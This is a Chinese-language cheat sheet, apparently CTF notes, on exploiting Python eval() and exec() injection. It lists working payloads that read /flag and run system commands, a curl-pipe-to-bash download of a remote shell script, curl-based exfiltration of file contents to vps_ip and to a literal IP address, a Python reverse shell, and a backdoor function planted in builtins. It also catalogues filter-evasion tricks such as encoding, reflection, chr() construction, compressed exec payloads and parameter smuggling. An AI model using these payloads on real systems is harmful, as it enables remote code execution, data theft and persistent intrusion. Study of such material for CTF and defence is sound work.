eval()、exec()
eval() 只能执行表达式。比如 1+1、len('abc')、或者一个函数调用 os.popen('whoami').read()
exec() 可以执行语句。比如赋值 a = 1、导入模块 import os、条件判断 if、循环 for、定义类 class。这些在 eval() 里统统会报错。
eval()会给出返回结果,exec()只会执行
例如
eval("open('/flag').read()") 有回显
exec("print(open('/flag').read())") 无回显
全局环境下,eval()作为接收容器的六条链子
open('/flag').read() 有回显
_import_('os').popen('whoami').read() 有回显
_import_('importlib').import_module('os').popen('id').read() 有回显
_import_('os').system('curl http://vps_ip/shell.sh | bash') 无回显
_import_('subprocess').check_output(['tac', '/flag']).decode() 有回显
_import_('subprocess').getoutput('id') 有回显
全局环境下,exec()作为接收容器的九条链子
print(open('/flag').read())
import os; print(os.popen('whoami').read())
import subprocess; print(subprocess.check_output(['cat', '/flag']).decode())
import subprocess; print(subprocess.getoutput('id'))
带外攻击
import os; os.system('curl http://vps_ip/`cat /flag | base64`') 带外
重载os模块
from importlib import reload;import os;reload(os);os.system("curl http://xxxx?1=`cat /flag`")'
删除缓存
import sys;del sys.modules['os'];import os;os.system('curl http://36.150.237.12?1=`cat /flag`')
植入后门函数
def shell(c): return _import_('os').popen(c).read()
_builtins_.shell = shell
定义一个名为 shell 的函数。将其注入到 _builtins_ (全局内置空间)
后续攻击只需要让容器接收shell('ls') 即可
反弹shell
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps_ip",111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
常见的绕过技巧
- 拼接
'os' -> 'o'+'s'
- 翻转
'os' -> 'so'[::-1]
'cat /flag' -> 'galf/ tac'[::-1]
- getattr() 反射
os.system -> getattr(os, "system")
- 进制转换 支持十六进制,八进制
_import_('os') -> _import_('\x6f\x73')
_import_('os') -> _import_('\157\163')
- base64
exec('paylaod') -> exec(base64.b64decode('编码后的 Payload'))
- . 被过滤
使用 getattr() 或字典键值访问 [ ]
_import_('os').system('id') -> getattr(__import__('os'), 'system')('id')
先用 getattr 拿到 _dict_ 字典,再用 [''] 取出函数
getattr(_import__('os'), '_dict__')['system']('id')
- \ _ 被过滤
使用 getattr()配合编码
_import_('os').popen('whoami').read() -> getattr('','\x5f\x5fimport\x5f\x5f')('os').popen('id').read() 错误
因为getattr()从一个对象里获取属性,这里尝试去从空字符串找__import__,__import__ 并不属于字符串的方法,它属于 内置函数库
从全局变量里拿内置库,再从内置库里反射出导入函数
getattr(globals().get('\x5f\x5fbuiltins\x5f\x5f'), '\x5f\x5fimport\x5f\x5f')('os').popen('id').read()
- 过滤中括号 []
.__getitem__()
_subclasses_()[185] -> _subclasses_().__getitem__(185)
- 过滤引号
chr()
open('/flag') -> open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
- 针对exec()的特化绕过
exec() 接收的是字符串,所以可以对整段代码进行多重加密
exec(bytes.fromhex('696d706f7274206f733b206f732e73797374656d282769642729').decode())
import zlib,base64; exec(zlib.decompress(base64.b64decode('eJxLSUzOSeWyUvByAdL6Ssm5uSmpSfm5ALscB88=')))
- 在web场景下的request.args绕过
args还可以替换为
request.values: 同时包含 GET 和 POST。
request.cookies: 从 Cookie 中取值(更隐蔽,WAF 较少扫描)。
request.headers: 从请求头(如 User-Agent)取值。
_import_('os').system('cat /flag')
?code=__import__(request.args.a).system(request.args.b)&?a=os&b=cat /flag
-
空格绕过(python内容)
\t -
eval执行下的多语句执行
利用[ ] ,
import os; res = os.popen('id').read(); print(res)
[res := _import_('os').popen('id').read(), print(res)]
列表里的元素会从左到右执行。第一个元素用 := 赋值,第二个元素打印它。
- sys.modules
如果 WAF 把所有动态导入函数(__import__, import_module)都干掉了,可以去 Python 的“内存仓库”里翻。
globals()['sys'].modules['os'].popen('id').read()
- 字符串构造
str(int) -> <class 'int'>
str(int)[1] -> 拿到了 'c'
str(dict)[2] -> 拿到了 'i'
True+True -> 2
- 海象运算符
先把 getattr 赋给 g,后面全用 g 替代,省去大量字符
[g:=getattr, g(g(__import__('os'),'popen')('id'),'read')()][-1]
-
f-string
_import_(f'{"o"}{"s"}').system('id') -
短路效应
原理:A or B,如果 A 为假(os.system 通常返回 0,即 False),则执行 B。
_import_('os').system('whoami') or open('/flag').read()
优势:消灭了逗号和中括号。
- 针对数字构造
len(()) -> 0
len(({},{})) -> 2
True + True -> 2
(True<<True) -> 2
- str()字母构造
str(sum) '
str(abs) '
str(dict) "<class 'dict'>"h